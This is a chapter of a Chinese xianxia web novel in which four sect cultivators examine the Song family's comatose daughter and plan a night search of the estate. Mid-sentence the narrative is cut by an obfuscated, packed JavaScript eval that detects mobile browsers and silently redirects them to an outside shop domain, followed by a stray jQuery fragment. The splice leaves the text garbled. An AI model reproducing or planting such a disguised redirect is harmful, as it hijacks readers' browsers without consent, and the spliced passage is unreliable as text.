越向北行,人影便越发稀少,偶有行人经过,也是面色惶惶步履匆匆,不敢多瞧上一眼,俨然是在避讳些什么。
姜昭同三人对视一眼,又提了番速度。不过片刻功夫,便到了一处宅院外。
青砖绿瓦绵延不绝,朱漆大门牢牢掩着,透不出半点风声,门楣上高悬着一块黑底金字牌匾,上书“宋府”二字,院门左右分立着一对石狮子,默然盘踞着,细看却能窥见一丝尘土,显然已许久不曾打理过,檐枋下静静悬着两顶暗黄色灯笼,衬得此地愈发冷清。
祝尧环视一番,上前一步屈指叩门,三声沉闷笃响过后,院门应声而开,一名小厮探出了头,也不言语,就这般直勾勾地盯着四人瞧,他面色苍白,看上去骨瘦如柴,也不知是哪来的力气竟能推开这扇厚重的大门。
祝尧圆润的眼眸微微一眨,先一步开口问道:“敢问宋家家主可在?”
小厮闻言摇头,抬手比划了一番,也不管来人是否看懂,便恹恹地垂下脑袋,要将大门阖上,视线不期然间落至某处时,身子陡然一僵,顾不得回话,连忙踉跄着朝院里跑去。
徒留那扇半敞的院门在原地,几缕凉风从院内灌了过来,吹得檐角灯笼直晃悠。
四人面面相觑一番,只得在此地静静候着。
未过多久,一阵脚步声遥遥传来,来人共三人,末尾应是方才那位小厮,脚步虚浮无力,为首那人步伐又沉又快,不时喘着粗气,想来应是宋家家主。
宋时勉快步朝前走着,靴底重重碾过青石板,带起一阵急促的声响,连额间沁出的细汗也顾不得擦去,心里念的全都是门外那四人。
自那以后,他已请过无数人,每次都是满怀期望地将道长迎进家门,又难掩失望地将他们送走,也不知这次,到底能不能……
宋时勉心下一叹,敛去心神不再去想。
朱漆院门尽数敞开,一道身影迈步而出。
来人年近五十,蓄着一小簇山羊胡,身形矮胖,一袭锦袍被撑得略显紧绷,富态的脸上尽显憔悴,眼下青黑一片,勉强挂着抹笑意。
宋时勉快步上前,拱手行了一礼,“某早已恭候诸位道长多时。”
四人拱手作揖,一一报了名姓。
听闻是长衍宗人士,宋时勉眸光一暗,只勉强一笑:“诸位道长请随我来。”
几人对此也不在意,毕竟几次三番来人还未解决,任谁也摆不出什么好脸色。
姜昭一行人跟在宋时勉身后,穿行于院落之间。前院时尚能瞧见零星几个仆役,皆是面色惶惶垂首缩在一侧。越往里走,人影愈发稀少,周遭一片寂静,不时有风呼啸而过,溢出几声模糊的呜咽。
几人来至前厅依次落座,宋时勉同四人一样坐在下方,他眉眼轻轻一抬,挥手示意。一旁静立的侍女手持茶盘缓步上前,她垂着眼帘,小心翼翼地将茶盏置于几案上,不敢多看一眼,随后微微屈膝行礼,悄声退了出去。
窗棂紧闭,屋门也被掩上,几案一旁的博山炉默然焚着,丝丝缕缕的沉香漫了过来,室内显得愈发沉闷。
姜昭并未动茶,他们此行所知甚少,便主动开口问道:“宋家主,不知到底是何妖邪,家中可有什么异样?”
听闻此言,宋时勉指尖一抖,慢慢将茶盏又搁回了几案上,双手不自觉地交握在身前,微微摩挲着。沉默半晌,他才缓缓讲道,方才刻意挺直的脊背渐渐弯了下来,难掩满脸沉痛。
宋时勉同夫人梅娘自幼青梅竹马地长大,成亲以后更是从未生过嫌隙,唯有子嗣一事上不尽人意,请过诸多大夫一直无果。所幸他上无老母亲族,亦无人敢来苛责。又或许是上苍眷顾,几年后梅娘有了身孕,怀胎十月诞下一名女婴,自己却撒手人寰,两人从此天人永隔。
他为女儿取名宋清乐,不求其他,只愿她平安快乐。宋时勉也未再娶妻,将女儿如珠似玉的养大,自小要什么便给什么,可谓是宠到极致。这样一个放在心尖尖上的人,五个月前竟陷入了昏迷。
宋家为此请了无数大夫也没瞧出到底是什么病因,雪上加霜的是,宋清乐的肚子竟日渐大了起来,脉象却毫无喜脉之意。
大仙道长什么的也请了一些,却净是些装神弄鬼故弄玄虚之人,说是喝什么两碗黄符水便能药到病除,宋时勉气急,带人一棍将他们赶了出去。
求来求去,便求到了问仙盟。这前前后后,也来了不少波人,却都无功而返。他这把老骨头尚且等得起,但他实在不忍看女儿日渐衰弱下去。
正值绝望之际,又迎来这四人,宋时勉隐隐有种预感,这恐怕是最后的机会了,若是再不成,他女儿怕是……
思及此,宋时勉瞳孔一颤,再忍不住心下痛意,他骤然起身,撩起衣摆便要跪倒在地。
姜昭眼疾手快,屈指并起凝出一股灵力,稳稳托着膝没让他跪下去,于堇和柳青心顺势将他扶了起来。
祝尧亦敛去笑,眉眼沉下:“宋家主这是何意?”
“求诸位道长,救救小女罢。”
宋时勉以袖拂面,痛呼不已。年近半百的人,老泪纵横,满目尽是心酸。
这番场景,几人都有些动容。
“我等既然来此,定会全力以对。”
“不如先带我们去宋小姐房中瞧瞧?”
宋时勉抹了抹泪,连连应声,他强撑起精神:“诸位请随我来。”
一行人随着宋时勉朝宋清乐宅院走去,途中所遇奴婢皆是沉默地屈膝行礼,从始至终敛着眸,不敢多看一眼。
姜昭不动声色地扫过一眼,便知其皆是天生的哑症。
“为保小女清誉,我便遣散了家中奴仆,特意寻了些哑婢。”宋家也算家大业大,混到这种地步的人,谁不是察言观色的好手,宋时勉看出些什么,主动开口解释道。
不多时,便行至一处东南小院。
垂花院门推开,院内景致铺展开来,只见院内游廊曲折环绕,院中植海棠玉兰,屋旁并立着棵梅花树,看上去已有些年头,青石小径蜿蜒绵亘,假山依池而立,偶有游鱼跃出水面,漾起圈圈细碎的涟漪。
门轴发出一声细弱的吱呀声,侍奉在内的婢女无声行礼,恭顺地退了出去。
霞光穿透枝叶倾洒室内,悄无声息地漫过藕荷色纱帘,带起一阵浅浅的栀子花香,帘下玉流苏随风摇曳着,晃出些细碎的莹光。
内室内,纱帐轻轻掩着,隐隐约约映出一道人影。宋清乐安静地躺在榻间,细腻的乌发散落在素枕间,一席浅青锦被轻轻搭在肩头上。她面色苍白,唇上不见半点血色,不时溢出几声微弱的呼吸,更遑论那高高耸起的腹部,可谓是触之惊心。
宋时勉看了一眼便不忍再看,连忙偏过了头,那抹山羊胡微微抖动着,半晌不曾言语。
姜昭同柳青心对视一眼,一起走了上前,于堇则同祝尧在屋内四周探查着。
姜昭行至榻前,她闭目敛眸,指尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961068|207628||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
凝出一丝温和的灵力,缓缓探入宋清乐周身。灵力一经探入,便自百会顺着经脉一路向下游走着,四肢肺腑一一扫过,自是少不得这看上去极为可怖的腹部。
片刻之后,姜昭才睁开了眼,她转身看向宋时勉,开口询问道。
“不知小姐生辰是在何日?”
宋时勉连忙答道,见她神色有异,情急地追问着:“道长瞧出什么了?可有办法救我家小女?”
姜昭沉吟片刻,再度问道:“宋小姐自幼身体如何?”
宋时勉缓缓摇了摇头,面色不解:“小女自幼身体康健,不曾生过什么疾病。”
唯有这次,宋时勉抬眸扫过榻间,指尖不可抑制地颤着,他自小捧在掌心长大的宝贝,就这般静静地躺在那儿……
这倒奇了,姜昭垂眸深思,宋清乐属极阴之体,最宜受妖邪侵扰……
她停顿一瞬,指尖轻抬拂过衣袖一角。只见少女莹白的腕间系着一截红绳,尾端坠着颗玉珠,只是看上去似乎蒙尘已久,隐隐有碎裂之象。
宋时勉已不敢再开口去问,唯恐听见什么坏事。见天色已不早,他才唤了人来,嘱托着将四人带去隔壁宅院安置,便离去了。夕阳余晖下,本就不甚挺拔的身子更弯了。
隔壁宅院内。
小院不大不小,收拾得干净利落,正屋东西两侧厢房共四间,安置几人倒也妥当。四人商议一番,决定姜昭同柳青心共住东厢房一间,于堇祝尧则各住西厢房两间。
虽是修士,但宋时勉还是体贴地派人送了吃食过去,不曾怠慢,几人便围在桌前,商讨着今日所见。
祝尧双手撑着下颌,左顾右盼了一番,打破了沉默:“你们可有什么发现?”
柳青心轻轻抿唇,犹疑地开口:“宋清乐发间夹杂着一缕银丝,初时我以为是白发,细细看去才发现并不是。”这银丝极细,若非恰巧有光晃过,怕是很难发现。
听罢,于堇沉吟片刻,缓缓点头:“窗下确实有几抹细痕。”
内室不同府外,日日有侍女常伴宋清乐左右,每日打扫也不曾落下过,这银丝确实是有些蹊跷。
“这一路上走来,总觉着周遭似乎有股阴气,凉飕飕的……”祝尧也将自己的发现说了出来。
柳青心转头看向身旁安静不语的姜昭,开口问道:“师姐可发现了什么异样?”
“宋清乐属极阴之体,先前有玉珠庇佑,这玉珠一碎,便引了妖邪缠身。至于到底是何物,我现在也没什么头绪,但左右与这银丝脱不了干系。”
几人也无须睡觉,姜昭便主动提议着:“不如我们兵分四路,各自再去探查一番宅院如何?”
三人对此皆没有异议。
正要出门之际,姜昭忽然忆起件事来,她又唤住几人,在灵域中翻找了一番,拿出一沓符箓来。
“喏,一人一张贴身拿好。”
祝尧左右端详了一番,他平时也爱翻些符箓之类的书,看上去似乎有些眼熟,但他却又从未见过这纹路。
“师姐,这是什么符?”
姜昭含糊地道:“到时候便知道了。”
毕竟她之前也没用过,不知道到底能不能成,万一没成,到时候岂不是惹人笑话?
姜昭注视着身前三人,忍不住又叮嘱了一番。
“小心为上,切勿大意。无论发现什么,两刻钟后都须赶来此地会合。”
几人应下,朝四周急掠而去。